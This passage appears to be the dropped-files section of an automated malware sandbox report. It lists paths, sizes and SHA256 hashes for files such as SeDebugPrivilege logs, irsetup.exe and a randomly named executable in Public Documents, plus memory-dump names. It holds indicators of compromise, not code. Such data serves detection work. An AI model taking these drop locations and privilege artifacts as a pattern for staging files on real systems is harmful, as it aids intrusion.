          • SHA256 38eaadfb57fb6b9b2d8a24441ec60bc4bc1726912c2eb38e2e5bf4ff540952ef
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 2191f862ec40511db0dddc17ca49a894b91a3bde6dff599eb64f58a0aef79856
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1ef6de4f780ad85da1743866fc3d3b1502820eaeeed630cca87848340e6e868a
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7ec7b5f3f860f6b4a326dcc883a2bd3f57bac0a5774418b48e3ef54c2cd2893c
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 13f0b2febb094f7d558d4325d06807162326f65290c90fa52fa1d3e4e4b35b14
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege1.inf
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf
          • Size 390B
          • SHA256 1a19404888c3463a206ae85da582a233e4ff74e5afea7fce71d24e3f71f88b8c
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege1.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log
          • Size 2B
          • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege1.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log
          • Size 470B
          • SHA256 6e51bbeed7c6db0c2f01202aaaa393210535d168599e8b1960bdb5f1d250e562
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege1.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log
          • Size 2KB
          • SHA256 7e56f6126da7cca7a6c6f717f13a8c189821419f70892f1c66aa84c7c8bf94e7
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege3.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log
          • Size 2KB
          • SHA256 1c0c719476ce20f1c0e18654df032fac81baf82d62c5e314e15f9e5ff26a0f20
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege3.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log
          • Size 2KB
          • SHA256 b5c4688241bf8318161a0f72358ed49979e0b805e3277330322f2b659328d68e
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege4.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log
          • Size 2KB
          • SHA256 dbd0fd8d055836f959b37fdace40b39eee306817c41da62e9fd34fa2d5196a12
          • MD5 SHA1 SHA512
          Submit Download

          SeDebugPrivilege4.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log
          • Size 2KB
          • SHA256 4ef2d1e0d41531cbf24b559261586d4abb7f3aaa8637bd895f630ed3b1d3ba45
          • MD5 SHA1 SHA512
          Submit Download

          __PSScriptPolicyTest_mkopo4i1.k3b.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkopo4i1.k3b.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512
          Submit Download

          irsetup.exe
          • Path C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
          • Size 4.9MB
          • SHA256 879109ae311e9b88f930ce1c659f29ec0e338687004318661e604d0d3727e3cf
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          lua5.1.dll
          • Path C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll
          • Size 329KB
          • SHA256 3ea4a4c3c6dea44d8917b342e93d653f59d93e1f552ace16e97e43bb04e951d8
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          s5p_kXb.exe
          • Path C:\Users\Public\Documents\7HAMFT\s5p_kXb.exe
          • Size 4.8MB
          • SHA256 d9307b7928c610d5b62660fb122802b961ac623c6ed3ecb63275b2c13c070440
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          inst.ini
          • Path \??\c:\inst.ini
          • Size 2B
          • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
          • MD5 SHA1 SHA512
          Submit Download

          memory/1280-112-0x0000000002EE0000-0x0000000002F16000-memory.dmp
          Download

          memory/1880-176-0x0000000007B10000-0x00000000080B4000-memory.dmp
          Download

          memory/1880-115-0x0000000005430000-0x0000000005452000-memory.dmp
          Download

          memory/1880-173-0x00000000074C0000-0x0000000007556000-memory.dmp
          Download

          memory/1880-117-0x0000000005C80000-0x0000000005CE6000-memory.dmp
          Download

          memory/1880-175-0x00000000068F0000-0x0000000006912000-memory.dmp
          Download

          memory/1880-174-0x0000000006880000-0x000000000689A000-memory.dmp
          Download

          memory/1880-116-0x00000000055D0000-0x0000000005636000-memory.dmp
          Download

          memory/2232-99-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-101-0x0000000003260000-0x000000000329F000-memory.dmp
          Download

          memory/2232-92-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-95-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-291-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-96-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-107-0x0000000003260000-0x000000000329F000-memory.dmp
          Download

          memory/2232-97-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-98-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2232-268-0x00000000006B0000-0x000000000103C000-memory.dmp
          Download

          memory/2612-114-0x0000000005850000-0x0000000005E78000-memory.dmp
          Download

          memory/2704-118-0x0000000005F10000-0x0000000006264000-memory.dmp
          Download

          memory/2704-159-0x00000000064F0000-0x000000000650E000-memory.dmp
          Download

          memory/2704-160-0x0000000006520000-0x000000000656C000-memory.dmp
          Download

          memory/3848-30-0x00000238CD760000-0x00000238CD782000-memory.dmp
          Download